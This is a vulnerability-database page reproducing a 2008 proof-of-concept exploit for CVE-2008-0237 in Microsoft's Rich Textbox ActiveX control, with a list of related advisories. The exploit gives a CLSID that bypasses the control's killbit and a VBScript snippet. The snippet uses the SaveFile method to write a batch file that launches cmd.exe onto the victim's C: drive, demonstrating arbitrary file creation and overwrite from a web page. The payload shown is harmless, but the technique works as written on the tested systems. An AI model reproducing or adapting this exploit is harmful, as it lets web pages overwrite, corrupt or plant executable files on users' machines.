Microsoft Rich Textbox Control 6.0 (SP6) "SaveFile()" Insecure Method. Allows arbitrary file manipulatio
Reporter | Title | Published | Views | Family All 9 |
---|---|---|---|---|
Saint | Microsoft Rich Textbox ActiveX control SaveFile vulnerability | 7 Oct 200800:00 | – | saint |
Saint | Microsoft Rich Textbox ActiveX control SaveFile vulnerability | 7 Oct 200800:00 | – | saint |
Saint | Microsoft Rich Textbox ActiveX control SaveFile vulnerability | 7 Oct 200800:00 | – | saint |
Saint | Microsoft Rich Textbox ActiveX control SaveFile vulnerability | 7 Oct 200800:00 | – | saint |
Prion | Design/Logic Flaw | 11 Jan 200802:46 | – | prion |
Cvelist | CVE-2008-0237 | 11 Jan 200802:00 | – | cvelist |
CVE | CVE-2008-0237 | 11 Jan 200802:46 | – | cve |
NVD | CVE-2008-0237 | 11 Jan 200802:46 | – | nvd |
Check Point Advisories | Microsoft Rich Textbox Control Arbitrary File Overwrite (CVE-2008-0237) | 3 Feb 200800:00 | – | checkpoint_advisories |
<pre><code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
<b>Microsoft Rich Textbox Control 6.0 (SP6) "SaveFile()" Insecure Method</b>
url: http://www.microsoft.com
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
<b><font color='red'>This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.</font></b>
<b>Technical details:</b>
File: RICHTX32.OCX
ver.: 6.1.97.82
While this GUID <b>{3B7C8860-D78F-101B-B9B5-04021C009402}</b> is
killbited, this one <b><font color='green'>{B617B991-A767-4F05-99BA-AC6FCABB102E}</font></b>
works fine so it is possible, using the "SaveFile()" method,
to save the content of the rich textbox on a user's pc.
This can be used to save, overwrite and/or corrupt arbitrary
files on the system.
It's marked as:
<b>RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data</b>
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:B617B991-A767-4F05-99BA-AC6FCABB102E' id='test' style='width: 250px; height: 75px'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
test.Text = "@echo off" & vbCrLf & "cmd.exe /c notepad.exe" & vbCrLf & "echo Hello World!" & vbCrLf & "pause"
test.SaveFile "C:\shinnai.bat", 1
MsgBox "Exploit completed!"
End Sub
</script></span></span></code></pre>
# milw0rm.com [2008-01-09]
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo